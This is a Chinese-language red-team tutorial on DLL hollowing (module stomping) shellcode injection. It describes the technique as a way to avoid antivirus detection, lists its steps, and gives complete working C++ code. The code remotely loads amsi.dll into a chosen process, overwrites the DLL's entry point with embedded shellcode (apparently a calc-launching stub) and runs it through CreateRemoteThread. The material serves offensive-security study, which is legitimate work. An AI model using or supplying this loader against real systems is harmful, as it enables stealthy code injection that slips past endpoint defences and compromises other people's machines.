6-DLL镂空注入(DLL Hollowing Injection)

一、前言

参考文章:

1、 总结加载Shellcode的各种方式 - 亨利其实很坏 - 博客园

2、 Module Stomping for Shellcode Injection | Red Team Notes

DLL镂空注入(DLL Hollowing Injection)是一种Shellcode注入技术,它借鉴了进程镂空(Process Hollowing)的原理和思路。dll镂空注入并非传统的dll注入,因为传统的dll注入是将恶意dll文件、dll注入的启动器exe一同放目标主机上,这大大增加了被杀的风险。

相比之下,DLL镂空注入不具备这样的风险,因为它是在带有微软签名的DLL中镂空一个区域。为了避免进程出错,不能直接在进程空间中已存在的DLL上进行镂空。取而代之的方法是先向目标进程远程注入一个合法的系统DLL,然后再镂空它。

二 、流程

  1. 确定要注入的目标进程:根据进程ID,使用使用 OpenProcess 打开目标进程,获取其句柄。官方文档:OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  2. 将合法的DLL(如amsi.dll)注入目标进程:使用 VirtualAllocEx+WriteProcessMemory 将DLL名称写入远程进程的内存空间。然后,获取 LoadLibraryW 函数的地址,并在远程进程中创建一个新线程以调用该函数,实现DLL的加载。第1、2步参考创建远程线程注入(CreateRemoteThread Injection)

  3. 找到在远程进程中注入的DLL的基地址EnumProcessModules+GetModuleBaseNameA通过在远程进程中枚举并定位特定模块(amsi.dll)的基地址

  4. 获取DLL的入口点:读取括DOS头部和NT头部,从中获取DLL的入口点(AddressOfEntryPoint)。一个进程不能直接读取另一个进程的内容(在本例中要读取的是远程进程的asmi.dll的头部),只能通过 ReadProcessMemory 读到本进程的地址空间中。官方文档:ReadProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  5. 向DLL的入口点写入Shellcode:同样的,我们也不能直接向远程进程写入内容,而应该使用 WriteProcessMemory 从DLL的入口点写入shellcode。官方文档:WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  6. 执行Shellcode:使用 CreateRemoteThread 创建一个远程线程指向shellcode,以DLL的入口点作为线程的起始地址官方文档:CreateRemoteThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

三、代码实现

完整代码

#include <iostream>
#include <Windows.h>
#include <psapi.h>

// 将你的Shellcode放在这里
unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

int main(int argc, char* argv[])
{
    TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll"; //定义要注入的合法DLL的文件路径
    HMODULE hModules[256] = {};  //定义一个数组用于存储目标进程中加载的模块的句柄
    SIZE_T hModulesSize = sizeof(hModules); //计算存储模块句柄数组的大小
    DWORD hModulesSizeNeeded = 0;  //用于存储EnumProcessModules函数返回的实际需要的缓冲区大小
    SIZE_T hModulesCount = 0;  //计算目标进程中模块的数量
    CHAR rModuleName[128] = {};  //定义一个字符数组用于存储远程模块的名称
    HMODULE rModule = NULL;  //定义一个变量用于存储找到的远程模块的句柄

    // 用户输入PID,正常来说应该使用argv来获取PID参数,这里只是方便我们调式而已。
    DWORD PID = 0;  
    std::cout << "请输入目标进程的PID:";
    std::cin >> PID;

    // 以可读写权限打开目标进程
    //hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    // 在远程进程中分配内存并写入待注入DLL的路径
    LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof ModuleName, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof ModuleName, NULL);

    // 获取LoadLibraryW函数的地址,用于在远程进程中加载DLL
    PTHREAD_START_ROUTINE pLoadLibraryW = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

    // 创建远程线程以加载DLL
    HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryW, lprBuffer, 0, NULL);

    // 等待远程线程加载完DLL
    WaitForSingleObject(dllThread, 1000);

    // 找到在远程进程中注入的DLL的基地址
    EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);
    hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < hModulesCount; i++)
    {
        rModule = hModules[i];
        GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
        if (std::string(rModuleName).compare("amsi.dll") == 0)
        {
            break;
        }
    }

    // 获取DLL的AddressOfEntryPoint
    /*在Windows中,每个进程都有独立的虚拟内存空间,出于安全和隔离的考虑,一个进程不能直接读取另一个进程的内存。
      所以我们只能将DLL的内容复制到本进程的地址空间中,复制的大小是0x1000,刚好是4KB,一个PE头不超过4KB。
      这样我们才能获得DLL的DOS头和NT头,进一步获得AddressOfEntryPoint。
      AddressOfEntryPoint是相对虚拟地址(RVA),不同类型的PE文件入口点含义不同
        1. exe:程序启动入口
        2. dll:DllMain函数
        3. 驱动:驱动初始化入口
    */
    DWORD headerBufferSize = 0x1000;
    LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
    ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew);
    LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);

    // 将Shellcode写入DLL的AddressOfEntryPoint
    WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

    // 从注入的DLL中执行Shellcode
    CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

    return 0;
}

Last updated